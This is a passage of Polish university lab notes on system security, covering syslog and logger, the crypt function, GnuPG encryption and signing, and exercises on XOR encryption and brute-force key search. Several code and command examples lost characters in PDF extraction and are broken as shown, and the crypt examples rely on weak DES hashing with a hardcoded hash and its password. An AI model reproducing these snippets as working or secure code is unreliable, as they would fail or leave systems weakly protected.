71 Bezpieczeństwo systemów i usług informatycznych 71 systemu. Można do tego wykorzystać zdalny komputer, na której pracuje rsyslog, lub też inny program nasłuchujący na porcie 514/UDP, na który rejestrator standardowo przesyła komunikaty. 9.2 Program logger Do wpisywania komunikatów do dzienników systemowych służy też program logger. logger [opcje] [komunikat] Jedną z opcji jest p priorytet Wartości parametru typ komunikatu: auth,authpriv,cron,daemon,ftp,lpr,mail,news, syslog,user,uucp,local0 do local7 Wartości parametru priorytet: emerg,alert,crit,err,warning,notice,info, debug Przykład działania programu logger dany jest poniżej. root@kali:~# logger -p user.err komunikat z Kali root@kali:~# tail -1 /var/log/user.log Nov 9 10:48:25 kali root: komunikat z Kali Przykład 9-3 Użycie programu logger 9.3 Dostęp do funkcji logowania z programu, funkcje interfejsowe Dostęp do funkcji rejestratora systemowego zapewniony jest również z poziomu programu w języku C. Zapewniają go dane poniżej funkcje. openlog syslog closelog Funkcja tworzy połączenie pomiędzy procesem a rejestratorem systemowym Dodaje wpis do pliku dziennika Zamyka połączenie pomiędzy procesem a rejestratorem systemowym Tabela 9-3 Ważniejsze funkcje używane do rejestracji zdarzeń Funkcja openlog tworzy połączenie pomiędzy procesem a rejestratorem systemowym Gdzie: #include <syslog.h> void openlog(const char *ident, int option, int facility); ident Napis pojawiający przed każdym komunikatem option Flagi modyfikujące działanie programu facility Specyfikuje typ komunikatu wysyłającego wiadomość (wymieniony w Tabela 9-1) LOG_CONS LOG_NDELAY LOG_NDELAY LOG_PERROR LOG_PID Pisz jednocześnie na konsolę Otwórz połączenie do rsyslog natychmiast a nie gdy pojawi się pierwszy komunikat Odwrotnie niż LOG_NDELAY Pisz komunikat także na stderr Do komunikatu dołącz pid procesu Tabela 9-4 Opis opcji funkcji openlog. Opcje mogą współwystępować (operacja ) Funkcja syslog przekazuje komunikat do rejestratora systemowego. Gdzie: void syslog(int priority, const char *format,...); priority Priorytet komunikatu patrz Tabela 9-2 format Łańcuch formatujący, jak w funkcji printf Funkcja closelog zamyka połączenie z rejestratorem systemowym.. void closelog(void); Przykład programu który zapisuje komunikat do pliku rejestrowego dany jest poniżej. include <stdio.h> #include <unistd.h> #include <syslog.h>

72 Bezpieczeństwo systemów i usług informatycznych 72 int main(void) { openlog("testlog", LOG_PID LOG_CONS, LOG_USER); syslog(log_info, "Test demona rsyslog "); closelog(); return 0; } Przykład 9-4 Program log_hello.c do testowania procesu logowania zdarzeń Po kompilacji i uruchomieniu programu możemy zaobserwować rezultat jego działania wyświetlając zawartość pliku /var/log/syslog 9.4 Usługa rsyslog W systemach rodziny Debian rejestrator rsyslogd jest usługą systemową (ang. service). Usługa może być startowana, zatrzymywana, testowana i zatrzymywana. Wykonywane jest to za pomocą polecenia service. service rsyslog restart service rsyslog stop service rsyslog start service rsyslog status Przykład restartu i testowania stanu usługi podano poniżej. root@kali:~/lab/zasoby# service rsyslog restart root@kali:~# service rsyslog status rsyslog.service - System Logging Service Loaded: loaded (/lib/systemd/system/rsyslog.service; enabled; vendor preset: Active: active (running) since Wed :12:36 EDT; 5s ago Docs: man:rsyslogd(8) Main PID: 5510 (rsyslogd) Tasks: 4 (limit: 4915) CGroup: /system.slice/rsyslog.service 5510 /usr/sbin/rsyslogd n Przykład 9-5 Restart i pobieranie statusu usługi 9.5 Rotacja plików rejestrowych Oprogramowanie systemowe i aplikacyjne może generować dużą liczbę informacji która zapisywana jest w plikach rejestrowych. Powoduje to niebezpieczeństwo przepełnienia urządzenia pamięciowego. Z tego powodu starsze pliki rejestrowe powinny być co jakiś czas kompresowane a potem kasowane. W systemie Debian Kali Linux wykonywane to jest przez usługę cron która uruchamia program logrotate. #cat /etc/cron.daily/logrotate #!/bin/sh test -x /usr/sbin/logrotate exit 0 /usr/sbin/logrotate /etc/logrotate.conf Program logrotate ma swój plik konfiguracyjny /etc/logrotate.conf.

73 Bezpieczeństwo systemów i usług informatycznych 73 #ls /var/log auth.log auth.log.1 auth.log.2.gz daemon.log daemon.log.1 daemon.log.2.gz debug debug.1 dpkg.log dpkg.log.1 kern.log kern.log.1 messages messages.1 syslog syslog.1 syslog.2.gz user.log user.log.1 Przykład 9-6 Zawartość katalogu /var/log (fragment) 9.6 Zadania 9.7 Odczyt komunikatów z plików rejestrowych Sprawdź zawartość katalogu /var/log. Odczytaj i zinterpretuj ważniejsze zdarzenia, np. kto logował się ostatnio do systemu jaki program ostatnio zainstalowano jaka usługa została ostatnio uruchomiona Zapisz odpowiednie komunikaty w pliku wyniki.txt Zapis komunikatów za pomocą programu logger Zapoznaj się ze stanem usługi rsyslog i z jej plikiem konfiguracyjnym /etc/rsyslog.conf. Zapisz komunikat Hello do plików rejestrowych /var/log/debug, /var/log/messages, /var/log/syslog/, /var/log/user.log Testowanie zajętości procesora wykorzystanie programu uptime Napisz program który monitoruje zajętość procesora w ciagu ostatniej minuty, 5 minut i 15 minut. Informacje te można uzyskać uruchamijac cyklicznie program uptime za pomocą funkcji systemowej popen(3). FILE *popen( uptime, r ); Program uptime przekazuje takie informacje na stdout. uptime 23:31:24 up 1 day, 3:16, 1 user, load average: 0.06, 0.03, 0.00 Należy przechwycić te informacje i przetworzyć obciażenie procesora w ciagu ostatniej minuty do postaci liczbowej. Gdy obciażenie przekroczy zadany próg należy wpisać komunikat do pliku rejestrowego /var/log/syslog za pomocą funkcji syslog(...) Testowanie zajętości procesora wykorzystanie funkcji sysinfo Napisz program który monitoruje zajętość procesora w ciagu ostatniej minuty, 5 minut i 15 minut. Informacje te można uzyskać przy pomocy wywołania funkcji sysinfo(3). int sysinfo(struct sysinfo *info) Należy przechwycić te informacje. Gdy obciażenie przekroczy zadany próg należy wpisać komunikat do pliku rejestrowego /var/log/syslog za pomocą funkcji syslog(...) Przesyłanie komunikatów na inny komputer Skonfiguruj usługę rsyslog tak aby przesyłać komunikaty na inny komputer. Komunikaty wysyłaj za pomocą programu logger

74 Bezpieczeństwo systemów i usług informatycznych Zabezpieczanie dostępu do usług systemu i jego zasobów 10.1 Funkcja crypt i jej zastosowanie W praktyce istnieje potrzeba ochrony dostępu do zasobów systemu operacyjnego. W systemach rodziny UNIX podstawowa metoda ochrony opiera się na koncepcji użytkowników i praw dostępu do plików. Mechanizm ten opisany jest w [13], [17]. Informacje o użytkownikach przechowywane są w plikach /etc/passwd i /etc/group. Plik passwd składa się z linii. Każda z linii odpowiada jednemu użytkownikowi i składa się z 7 pól oddzielonych dwukropkiem :. Nazwa Hasło UID GID Informacja Katalog Shell Nazwa użytkownika Znak x gdy wymagane podanie hasła Liczbowy identyfikator użytkownika. 0 dla administratora, zarezerwowane, Numer grupy do której należy użytkownik Dodatkowe informacje o użytkowniku Ścieżka określająca katalog domowy katalog w który będzie bieżący po zalogowaniu Ścieżka do interpretera poleceń, zwykle /bin/bash Tab Zawartość linii pliku passwd Przykład linii pliku passwd: juka:x:1000:1000:jedrzej Ulasiewicz :/home/juka:/bin/bash W procesie logowania się do systemu użytkownik musi podać swój identyfikator i hasło. Hasła przechowywane są w pliku /etc/shadow. Podczas logowania system sprawdza zgodność hasła z zapamiętanym wzorcem i udziela lub odmawia dostępu do systemu. Do szyfrowania hasła może być użyta biblioteczna funkcja crypt [7]. char *crypt(const char *key, const char *salt); gdzie: key salt Hasło podlegające szyfrowaniu 2 znakowy punkt startowy szyfrowania. Pozwala też na wybór algorytmu szyfrowania DES albo MD5. Pierwsza wartość parametru salt powinna być przypadkowa Funkcja crypt oblicza według algorytmu DES skrót łańcucha składającego się z 8 zer, według klucza (parametr key) którym jest podane hasło. Algorytm DES stosowany jest 25 razy. W funkcji wykorzytywany jest także parametr salt od którego uzależniony jest wynik. Dla algorytmów opartych na DES, parametr salt powinien składać się z dwóch znaków z zakresu./0-9,a-z,a-z co daje 4096 kombinacji. Pametr salt powinen być liczbą losową i ma utrudnić deszyfrację hasła dla tego samego hasła istnieje 4096 jego wariantów. Wynikiem działania funkcji crypt będzie zaszyfrowane hasło, zawierające na pierwszych 2 znakach parametr salt a pozostałe 11 znaków będzie obliczone według algorytmu DES. Gdy żądamy dwukrotnego wprowadzenia hasła, w pierwszym wywołaniu parametr salt powinien być przypadkowy, a w drugim być wynikiem pierwszego wywołania. Procedura stosowana podczas weryfikacji hasła polega na tym że w pierwszym kroku nie losujemy parametru salt, tylko bierzemy go z bazy haseł znanych użytkowników (pierwsze dwa znali z zaszyfowanego hasła). Opisana metoda szyfrowania haseł oparta o algorytm DES jest obecnie uznawana za zbyt słabą. Efektywna długość klucza wynosi 8 znaków co daje 2^56 kombinacji. Istnieją ulepszone wesje funkcji crypt. Jedna oparta jest na algorytmie MD-5 gdzie wykorzystuje się 128 bitową wersję parametru salt. Gdy chcemy szyfrować hasło algorytmem MD-5 parametr salt powinien się zaczynać od znaków $1$ po których powinnno wystąpić do 8 znaków zakończonych kolejnym znakiem $ lub znakiem końca łańcucha. Doskonalszą funkcją służącą do jednokierunkowego szyfrowania haseł jest funkcja bcrypt wykorzystująca metodę Blowfish. Jest ona wykorzystywana w systemie OpenBSA Uwaga, program zawierający funkcję crypt kompilujemy z opcją -lcrypt informując linker by dołączył bibliotekę crypt.

75 Bezpieczeństwo systemów i usług informatycznych 75 Do wprowadzania hasła można użyć funkcji getpass. Nie wyprowadza ona na konsolę wprowadzanych znaków co utrudnia ich podglądanie. char *getpass( const char *prompt); gdzie: prompt Wyświetlany na konsoli znak zachęty Funkcja getpass zwraca wprowadzony z konsoli łańcuch. Opisane wyżej funkcje wykorzystane zostaną w danych niżej przykładach zaczerpniętych z [18]. Podany w pierwszym przykładzie program crypt1.c oblicza skrót (szyfruje) wg. algorytmu DES dla wprowadzanego z klawiatury hasła. Obliczony skrót wyprowadzany jest na konsolę. Program drugi crypt-test.c prosi o wprowadzenie hasła, oblicza jego skrót i sprawdza jego zgodność z zapamiętanym skrótem prawidłowego hasła. // Program oblicza skrot (szyfruje) podane haslo // Komplilacja gcc haslo.c -o haslo -lcrypt #include <stdio.h> #include <time.h> #include <unistd.h> #include <crypt.h> #include <string.h> int main(void) { char salt[3]; char *password; int i; strcpy(salt,"ab"); // Czytaj haslo i szyfruj je password = crypt(getpass("password:"), salt); } /* Print the results. */ puts(password); printf("haslo: %s salt: %s\n",password,salt); return 0; Przykład 10-1 Program wypisujący zaszyfrowane hasło.

76 Bezpieczeństwo systemów i usług informatycznych 76 // Program bada zgodnosc hasel: zapamietanego i wprowadzonego // Komplilacja gcc haslo.c -o haslo -lcrypt // Prawidlowe haslo to krypta #include <stdio.h> #include <string.h> #include <unistd.h> #include <crypt.h> int main(void) { // Zaszyfrowana postac hasla "krypta" const char *const pass = "AbgwoGLTKGowc"; char *result; int ok; // Czytaj haslo podane przez uzytkownika // Spodziewane haslo jest parametrem salt result = crypt(getpass("password:"), pass); // Porownaj wynik funkcji crypt ze spodziewanym haslem ok = strcmp (result, pass); if(ok == 0) { printf("dostep przyznany\n"); return 1; } else { printf("odmowa dostepu\n"); return 0; } } Przykład 10-2 Program sprawdzający zgodność haseł 10.2 Zadania Program kotroli dostępu do zasobów Napisz program kontroli dostępu do zasobów oparty o identyfikatory użytkowników i hasła. Zakładamy że kontrowany jest dostęp do 4 abstrakcyjnych zasobów Z0,Z1,Z2,Z3 na których można dokonywać operacji dostępu np. odczytu (R). Program powinien utrzymywać zapisana w pliku bazę danych składającą się zapisów odpowiadających poszczególnym użytkownikom. Dla każdego użytkownika przechowujemy: nazwę użytkownika (łańcuch do 20 znaków) zaszyfrowane funkcją crypt hasło wektor A[i] składający się z 4 liczb int kodujący prawa dostępu użytkownika do zasobu i. Wśród użytkowników powinien być wyróżniony administrator który ma prawo dopisywania nowych użytkowników, przydzielania im praw dostępu. Działanie programu ma być następujące: Dla zwykłego użytkownika: 1. Użytkownik loguje się do systemu podając identyfikator i hasło 2. Jest proszony o wprowadzenie numeru zasobu 3. Wprowadza zasób 4. System informuje go czy zasób jest przyznany 5. Program przechodzi do punktu 1. Dla administratora: 1. Administrator loguje się do systemu podając identyfikator i hasło 2. Jest pytany jaką akcję chce wykonać: wprowadzenie użytkownika, usunięcie użytkownika, zmiana hasła, zmiana praw dostępu. 3. Program wykonuje zadaną akcję. 4. Program przechodzi do punktu Program realizujący funkcję ftp zabezpieczony hasłem Dokonaj modyfikacji przedstawionego uprzednio zadania przesyłania plików pomiędzy komputerami, tak aby klient usługi identyfikowany był nazwą użytkownika i hasłem. Serwer powinien przechowywać nazwy i hasła użytkowników. Hasła mają być zakodowane za pomocą funkcji crypt.

77 Bezpieczeństwo systemów i usług informatycznych Program realizujący funkcję ftp zabezpieczony hasłem z bezpiecznym przesyłaniem hasła przez sieć. W poprzednim zadaniu nazwa użytkownika i hasło przesyłane są w postaci niezaszyfrowanej przez sieć co stwarza niebezpieczeństwo podsłuchania. Napisz program bezpiecznego przesyłania hasła wykorzystujący szyfrowanie. Program może być napisany w prostrzym wariancie wykorzystujący szyfrowania metodą xor i bardziej zaawansowanym wykorzystującym szyfrowanie niesymetryczne.

78 Bezpieczeństwo systemów i usług informatycznych Szyfrowanie danych i ich deszyfracja 11.1 Szyfrowanie symetryczne i asymetryczne Szyfrowanie danych [13] jest procesem w którym wiadomość napisana tekstem jawnym jest przekształcana w tekst zaszyfrowany (szyfrogram ) za pomocą algorytmu szyfrowania i klucza. Deszyfrowanie jest procesem odwrotnym. Tekst zaszyfrowany przekształcany jest w pierwotną wiadomość za pomocą algorytmu deszyfrowania i klucza. tekst jawny agorytm szyfrowania szyfrogram agorytm deszyfrowania wyjściowy tekst jawny klucz szyfrujący klucz deszyfrujący Rys Proces szyfrowania i deszyfracji Szyfrowania używa się w następujących celach [13]: Ochrony przechowywanej w komputerze informacji przed nieatoryzowanym dostępem Ochrony informacji przesyłanej pomiędzy komputerami Wykrywanie przypadkowych lub celowych zniekształceń informacji Weryfikacji tożsamości osób Weryfikacji autentyczności dokumentów W chwili obecnej stosowane sa dwie podstawowe metody szyfrowania: Algorytmy szyfrowania z kluczem prywatnym, zwane także algorytmy z kluczem symetrycznym. W algorytmach tych do szyfrowania i odszyfrowania waidomości stosuje się ten sam klucz. Algorytmy szyfrowania z kluczem publicznym, zwane także algorytmy z kluczem asymetrycznym. W algorytmach tego rodzaju wiadomości szyfruje się kluczem publicznym a odszyfrowanie następuje przy użyciu kluczas prywatnego. Klucz publiczny może być szeroko udostępniony, gdyż nie umożliwia on rozszyfrowania zaszyfrowanej nim informacji. Jest to możliwe tylko za pomocą klucza prywatnego. Szyfrowanie kluczem prywatnym jest procesem szybkim, natomiast deszyfracja kluczem prywatnym jest procesem czasochłonnym. Z tego powodu często stosuje się systemy hybrydowe. Kluczem publicznym szyfruje się klucz sesji który przekazywany jest partnerowi. Odszyfrowuje on go kluczem prywatnym a następnie stosuje w bieżącej sesji. Przyspiesza to znacznie wymianę informacji. Adam Generacja kluczy Klucz publiczny Adam Klucz prywatny Adam przekazanie klucza Klucz publiczny Ewa Klucz prywatny Ewa Ewa Generacja kluczy tekst jawny Klucz publiczny Ewa algorytm deszyfrowania agorytm szyfrowania szyfrogram wyjściowy tekst jawny Rys Zasada działania szyfrowania asymetrycznego

79 Bezpieczeństwo systemów i usług informatycznych Podpis cyfrowy Podpis cyfrowy [15] służy zapewnieniu następujących funkcji autentyczność pochodzenia - daje pewność kto jest autorem dokumentu, niezaprzeczalność - utrudnia wyparcie się autorstwa czy też znajomości treści dokumentu, integralnośc - pozwala wykryć nieautoryzowane zmiany dokumentu po jego podpisaniu. Do zapewnienia wymienionych funkcji potrzebne jest zastosowanie zastosowanie środków: Algorytmów, protokołów i formatów, które realizują funkcje bezpieczeństwa, Przepisów które specyfikuja aspekty prawne, Organizacyjnych, takich jak urzędy certyfikacji, które potwierdzają istnienie związku klucza publicznego z okresloną osobą. Przy tworzeniu podpisu cyfrowego wykorzystuje się fakt że wiadomość zaszyfrowaną kluczem prywatnym można odszyfrować kluczem publiczny. Szyfrowanie kluczem prywatnym jest jednak długotrwałym procesem, dlatego sporządza się skrót zabezpieczanego tekstu i dopiero ten skrót szyfruje kluczem prywatnym. Zaszyfrowany kluczem prywatnym tekst przesyła się wraz z wiadomością. Odbiorca po otrzymaniu podpisanego tekstu może policzyć jego skrót a następnie odszyfrować otrzymany skrót kluczem publicznym i porównać z obliczonym. Gdy są jednakowe, otrzymany tekst jest autentyczny. Sporządzanie podpisu cyfrowego przebiega według nastepującego schematu: Podpisywanie: 1. Dla podpisywanego dokumentu tworzony jest skrót. 2. Skrót szyfrowany jest kluczem prywatnym. Otrzymywany jest skrót zaszyfrowany 3. Zaszyfrowany skrót dołączany jest do do dokumentu. 4. Dokument i zaszyfrowany skrót tworzą podpisany dokument. Przesyłanie: 1. Do odbiorcy przesyłany jest podpisany dokument 2. Musi on pobrać wiarygodny klucz publiczny autora dokumentu (np. z centrum zarządzania kluczami) Weryfikacja: 1. Z podpisanego dokumentu wydzielany jest dokument oryginalny i zaszyfrowany skrót. 2. Dla dokumentu obliczny jest skrót. 3. Zaszyfrowany skrót deszyfrowany jest kluczem publicznym 4. Zdeszyfrowany skrót porównywany jest z obliczonym. Gdy są jednakowe dokument jest autentyczny.

80 Bezpieczeństwo systemów i usług informatycznych 80 Podpisywanie Generacja kluczy dokument Klucz publiczny Adam Klucz prywatny Adam przesylanie dokumentu dokument podpisany Weryfikacja dokument skrót zaszyfrowany agorytm obliczania skrótu skrót zaszyfrowany dokument skrót agorytm szyfrowania skrótu skrót zdeszyfrowany kluczem publicznym agorytm deszyfrowania skrót skrót obliczony agorytm obliczania skrótu skrót skrót zaszyfrowany dokument skrót zaszyfrowany dokument podpisany tak weryfikacja poprawna równe? weryfikacja nieudana nie Rys Proces podpisywania i weryfikacji dokumentu 11.3 Narzędzie GnuPG GnuPG jest implementacją typu Open Source standardu OpenPGP zdefiniowanego w RFC4880 występującego także pod nazwą PGP. Narzędzie to umożliwia szyfrowanie danych i komunikacji międzykomputerowej, podpisywanie dokumentów i zarządzanie kluczami. Jest program uruchamiany z linii poleceń jako gpg ale istnieje do niego cały szereg interfejsów graficznych jak chociażby Seahorse. GnuPG jest rozpowszechniane wraz z kodem źródłowym według licencji GPL. Istnieje także wersja GnuPG dla Windows pod nazwą Gpg4win. Narzędzie GnuPG integruje się także z klientami poczty elektroniecznej i przeglądarkami w celu szyfrowania poczty. GnuPG szyfruje informację wykorzystując parę kluczy: klucz prywatny i klucz publiczny. Aby rozpocząć pracę utwórzmy w katalogu domowym katalog gpg. Przechodzimy do katalogu gpg. $cd gpg Utworzenie kluczy Pierwszym zadaniem będzie wygenerowanie kluczy. W tym celu uruchamiamy program gpg z parametrem $gpg --gen-key

81 Bezpieczeństwo systemów i usług informatycznych 81 Ekran 11-1 Generowanie klucza Podajemy typ klucza 1, okres ważności, imię, nazwisko, adres poczty elektronicznej, komentarz i hasło. Hasło to należy starannie zabezpieczyć Listowanie kluczy Utworzone klucze można wylistować poleceniem: $gpg - list-keys Ekran 11-2 Listowanie kluczy Eksportowanie kluczy Jeżeli inni mają skorzystać z naszego klucza publicznego należy go wyeksportować. Eksport może być w trybie binarmym lub tekstowym. Program gpg zapisuje eksportowany klucz na standardowe wyjście, należy zatem przekierować go do pliku. $ gpg --export adres@xx.pl > klucz_bin_ju Ekran 11-3 Eksport klucza w formacie binarnym do pliku klucz_bin_ju $ gpg --armour --output klucz_txt_ju --export adres@xx.pl

82 Bezpieczeństwo systemów i usług informatycznych 82 Ekran 11-4 Eksport klucza w formacie tekstowym do pliku klucz_txt_ju Import klucza publicznego Klucz publiczny innej osoby przesyłamy w postaci pliku. Można skorzystać z poczty elektronicznej, programu transferu plików lub dysku USB. Aby skorzystać z klucza publicznego innej osoby należy go zaimportować. Importu klucza, zawartego w pliku dokonujemy przez polecenie: $ gpg --import plik_z_kluczem Ekran 11-5 Import klucza w formacie tekstowym z pliku klucz_j.txt Następnie wyświetlamy zasób kluczy w naszym repozytorium. $ gpg -list-keys Ekran 11-6 Wyświetlanie zastawu kluczy Unieważnienie klucza Gdy nasz klucz został skompromitowany lub też z innych powodów chcemy go unieważnić należy wygenerować certyfikat uniewazniający. Certyfikat ten może być przesłany innym. Generacja certyfikatu unieważniającego nastepuje przez polecenie: $gpg -rewoke adres

83 Bezpieczeństwo systemów i usług informatycznych 83 Ekran 11-7 Generowanie certyfikatu unieważnienia klucza Ekran 11-8 Certyfikatu unieważnienia klucza Aby dokonać unieważnienia, wystarczy zaimportować taki certyfikat jak zwykły klucz. $ gpg --import plik_uniewaznienia

84 Bezpieczeństwo systemów i usług informatycznych Szyfrowanie i deszyfrowanie plików Gdy utworzymy wiadomość możemy ja zaszyfrować jednym z kluczy publicznych. Wykonujemy to za pomocą danego niżej polecenia: $ gpg --output /tmp/wiadomosc.gpg --encrypt wiadomosc.txt Ekran 11-9 Szyfrowanie binarne tekstu wiadomość.txt Powyżej wykonano szyfrowanie binarne. Szyfrowanie może być wykonane także w postaci pliku tekstowego. $ gpg --armour --output wiadomosc.gpg --encrypt wiadomosc.txt Ekran Szyfrowanie tekstowe tekstu wiadomość.txt Ekran Fragnent zaszyfrowanego tekstu wiadomosc2.gpg Do deszyfrowania plików służy opcja --decrypt, która pobiera jako argument nazwę pliku do rozszyfrowania. Za pomocą opcji --output można określić nazwę pliku wynikowego. Gdy nie jest on określony, wynik wypisywany jest na standardowe wyjście. $ gpg --decrypt wiadomosc2.gpg

85 Bezpieczeństwo systemów i usług informatycznych 85 Ekran Rozszyfrowanie zaszyfrowanego tekstu wiadomosc2.gpg 11.4 Cyfrowe podpisywanie tekstu Do cyfrowego podpisywania wiadomości służy program gpg z opcją --sign. Po niej podajemy argument w postaci nazwy pliku do podpisania. Nazwę pliku wynikowego określamy za pomocą opcji --output. Opcja --armour umożliwia zapisanie podpisu w formacie tekstu. $ gpg --armour --output wiadomosc.sig --sign wiadomosc.txt Ekran Podpisywanie tekstu wiadomosc.txt Podane wyżej polecenie tworzy podpisany i zaszfrowany plik z wiadomoscią. Jest to plik ASCII którego fragment pokazano poniżej. Ekran Fragment podpisanego tekstu wiadomosc.sig Do sprawdzenia podpisu służy opcja --verify a do sprawdzenia i odczytania wiadomości służy opcja --decrypt: $ gpg --decrypt wiadomosc.sig

86 Bezpieczeństwo systemów i usług informatycznych 86 Ekran Odczytanie podpisanego tekstu wiadomosc.sig Jak widać wiadomość została zdeszyfrowana a podpis zweryfikowany pozytywnie. W powyższym przykładzie wiadomość jest zaszyfrowana i połączona z podpisem. Zweryfikować ją można tylko programem gpg. Istnieje druga możliwość polegająca na pozostawieniu wiadomości niezaszyfrowanej, a tylko dołączeniu do niej podpisu. $ gpg -armour --output wiadomosc.sig --clearsign wiadomosc.txt Ekran Podpisany tekst wiadomosc.txt z dołączonym podpisem Jeśli mielibyśmy sprawdzić autentyczność oryginalnego tekstu, trzeba by z niego wydzielić tekst i podpis co wymaga użycia edytora tekstu. Aby tego uniknąć zastosować można metodę która tworzy tylko plik z podpisem pozostawiając oryginalny tekst niezmieniony.

87 Bezpieczeństwo systemów i usług informatycznych 87 $ gpg --output wiadomosc.sig --detach-sig wiadomosc.txt Ekran Podpisywanie tekstu wiadomosc.txt. Podpis w oddzielnym pliku wiadomosc.sig Do sprawdzenia podpisu potrzebne są dwa pliki - plik żródłowy i plik z podpisem. Sprawdzenia dokonuje się przez opcję --verify z dwoma argumentami oznaczającymi nazwę pliku z podpisem oraz nazwę pliku źródłowego. $ gpg --verify wiadomosc.sig wiadomosc.txt Ekran Weryfikacja tekstu wiadomosc.txt z podpisem w oddzielnym pliku wiadomosc.sig 11.5 Serwery kluczy Istnieją publicznie dostępne serwery kluczy publicznych OpenPG. Przechowują one klucze publiczne i można je stamtąd pobrać. Kilka adresów podano poniżej: keys.gnupg.net hkp://subkeys.pgp.net (server pool) hkp://pgp.mit.edu Serwery te zazwyczaj zawierają wyszukiwarkę jak pokazano poniżej. Ekran Wyszukiwanie klucza publicznego użytkownika kowalski Szukanie klucza pubicznego przeprowadzić można bezposrednio z programu gpg co pokazano poniżej: $ gpg --keyserver "hkp://subkeys.pgp.net" --search-key adres@xxx.pl

88 Bezpieczeństwo systemów i usług informatycznych 88 Ekran Szukanie klucza publicznego w serwerze kluczy 11.6 Interfejsy graficzne Program gpg pracuje w trybie tekstowym. Istnieją jednak do niego interfejsy graficzne (gpg frontend) jak na. Kgpg.

89 Bezpieczeństwo systemów i usług informatycznych Zadania W celu przygotowania się do ćwiczenia należy zapoznać się z materiałami podanymi w [11], [12], [13] Szyfrowanie i deszyfrowanie wiadomości za pomocą metody GPG Tematem ćwiczenia jest szyfrowanie i deszyfrowanie wiadomości za pomocą programu Gnu PG czyli gpg, zarządzanie kluczami, szyfrowanie i odszyfrowanie plików. Należy się zapoznać z manualem programu gpg i literaturą np. [11]. W celu wykonania ćwiczenia należy: 1. Utworzyć nowy katalog np. gnupg, przejść do tego katalogu $ mkdir ~/.gnupg 2. Uruchomić program gpg z opcją generowania kluczy $ gpg --gen-key Uwaga - należy zabezpieczyć użyte hasło. 3. Wyswietlić utworzone klucze $ gpg --list-keys $ gpg fingerprint 4. Wyeksportować klucz publiczny w formacie binarnym i tekstowym $ gpg --export... $ gpg --armour --output plik_klucza --export ident 5. Wymienić się kluczami z partnerem ( można też powtórzyć kroki 1-4 w oddzielnym katalogu) Przenieść plik z kluczami do komputera partnera bezpieczną metodą. 6. Zaimportować plik z kluczem publicznym partnera i wylistować nowy zestaw kluczy $ gpg --import plik_klucza $ gpg --list-keys 7. Zweryfikować zaimportowany klucz $ gpg --edit-key nazwa_klucza 8. Utworzyć plik tekstowy o nazwie plik_jawny.txt który będziemy szyfrować. Zaszyfrować plik kluczem publicznym partnera. Szyfrowanie przeprowadzić w trybie binarnym i tekstowym. $ gpg --output plik_szyfr.gpg --encrypt plik_jawny.txt $ gpg --armour --output plik_szyfr2.gpg -r ident_u --encrypt plik_jawny.txt 9. Przesłać zaszyfrowany plik do komputera partnera 10. Odkodować zaszyfrowany plik za pomocą programu pgp $ gpg --decrypt plik_szyfr.gpg Przy odkodowaniu potrzebne będzie hasło 11. Powtórzyć powyższą operację dla szyfrowania symetrycznego $ gpg --armour --symmetric Wykonaj podpis dokumentu, przeslij go do partnera który sprawdzi jego autentyczność $ gpg --armour --output plik_org.txt --sign plik_popis.sig $ gpg -decrypt plik_podpis.sig $ gpg -output plik_podpis.sig --clearsign plik_org.txt Wersja z podpisem w oddzielnym pliku $ gpg -output plik_podpis.sig --detach-sig plik_org.txt $ gpg -verify plik_podpis.sig plik_org.txt Praca z interfejsem graficznym kgpg Program kgpg jest interfejsem graficznym do programu gpg. Zapoznaj się z użytkowaniem tego programu

90 Bezpieczeństwo systemów i usług informatycznych 90 Zainstaluj program kgpg Przeprowadz szyfrowanie i deszyfrację tekstu Przeprowadź proces podpisywania i weryfikacji dokumentu Szyfrowanie danych za pomocą metody XOR Napisz program szyfrujący i deszyfrujący pliki za pomoca metody XOR. Szyfrowanie odbywa się za pomocą klucza K. Niech klucz ma długość N, kolejne bajty pliku wejściowego oznaczymy jako X[i] a kolejne bajty pliku wyjściowego jako Y[i] a kolejne bajty klucza jako K[i]. Szyfrowane są bloki pliku wejściowego długości klucza czyli N. Szyfrowanie ma postać: Y[i] = X[i] ^K[i] dla i=0,1,...,n-1 Operacja deszyfracji przebiega według tego samego wzorca. Program ma być wywoływany z parametrami: szyfr-xor plik_we plik_wy klucz Program powinien: 1. Sprawdzić czy wprowadzono parametry 2. Otworzyć plik wejściowy 3. Utworzyć plik wejściowy 4. Czytać kolejne bloki danych z pliku wejściowego, szyfrować je i wpisywać do pliku wyjściowego 5. Zamknąć plik wejściowy i wyjściowy Program znajdowania klucza XOR metodą przeglądu zupełnego Zaszyfruj poprzednim programem z kluczem np. ABC (długość klucza N=3) przykładowy tekst o długości N np. LAS. Otrzymany zostanie N znakowy tekst zaszyfrowany np. ZhA. Na tej podstawie napisz program do znajdowania klucza metodą przeglądu zupełnego. Należy sprawdzić L = 2 8*K kluczy. Program działa według następującego wzorca: 1. Generuje kolejne trzyznakowe klucze K1,K2,...,Ki,...,KL 2. Dla każdego z kluczy sprawdza czy zaszyfrowanie łańcucha wejściowego danym kluczem Ki daje wynik jak w przykładzie. Gdy tak, klucz został znaleziony. Gdy nie przechodzimy do kolejnego klucza Program znajdowania klucza XOR metodą przeglądu zupełnego wersja równoległa Napisz program znajdowania klucza jak wyżej wykorzystujący P procesów. Gdy program wykonywany jest na procesorze wielordzeniowym, można w ten sposób uzyskać znaczące przyspieszenie obliczeń. Tekst jawny Tekst zaszyfrowany proces zarząrzający Klucze zakres 1 Klucze zakres 2 proces wykonawczy 1 proces wykonawczy 2 Klucze zakres P proces wykonawczy P wynik1 wynik2 wynikp kody powrotu wait($status) Rys Znajdowanieklucza wiele procesów obliczeniowych Zadanie powinno być rozwiązane w następujący sposób:

91 Bezpieczeństwo systemów i usług informatycznych Program zarządzający dzieli przedział [K1,...,KL] na P podprzedziałów. Następnie tworzy procesy potomne używając funkcji fork i execl(./licz, licz,pocz,kon,numerp,0 ). Funkcje te uruchamiają procesy wykonawcze o nazwie licz. Każdemu z tych procesów Pi mają być jako argumenty przekazane: granice przedziału pocz, kon i numer procesu. Tak więc, proces wykonawczy powinien mieć postać: licz granica_dolna granica_górna numer_procesu 2. Proces zarządzający czeka na zakończenie procesów wykonawczych wykonując funkcje wait(&status) Program znajdowania klucza XOR metodą przeglądu zupełnego wersja słownikowa, sekwencyjna W poprzednich programach zakładano znajomość próbki tekstu jawnego i zaszyfrowanego. Napisz program znajdujący klucze bez takiego założenia. Posłuż się metoda słownikową Program znajdowania klucza XOR metodą przeglądu zupełnego wersja słownikowa, równoległa Napisz program znajdujący klucze metodą jak poprzednio ale w wersji równoległej

